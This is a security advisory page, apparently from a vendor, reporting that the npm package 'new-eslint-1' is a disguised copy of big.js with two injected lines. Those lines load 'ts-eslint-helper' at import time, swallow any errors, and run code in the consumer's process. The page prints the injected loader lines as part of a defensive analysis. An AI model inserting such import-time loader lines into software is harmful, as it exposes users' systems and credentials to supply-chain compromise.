new-eslint-1npm
Malicious code in new-eslint-1 (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package is published as 'new-eslint-1' but its package.json description, README, repository URL (MikeMcl/big.js), and source are a verbatim copy of big.js v7.0.1 — there is no ESLint functionality. Two lines have been injected at module top level in both big.js and big.mjs (lines 605-606): const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. Because package.json declares "main": "big.js", any require('new-eslint-1') synchronously loads the external ts-eslint-helper package and invokes helper.from_str() in the consumer's Node process, with errors silently swallowed. The required module name (ts-eslint-helper) does not match the only declared dependency ([email protected]), so the loader is designed to fire when ts-eslint-helper resolves transitively or via a sibling install in a monorepo / polluted registry — and to fail silently otherwise, hiding the attempt from observers. This combines namespace deception (eslint-themed name + big.js disguise) with import-time arbitrary code execution under the control of whoever publishes ts-eslint-helper.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection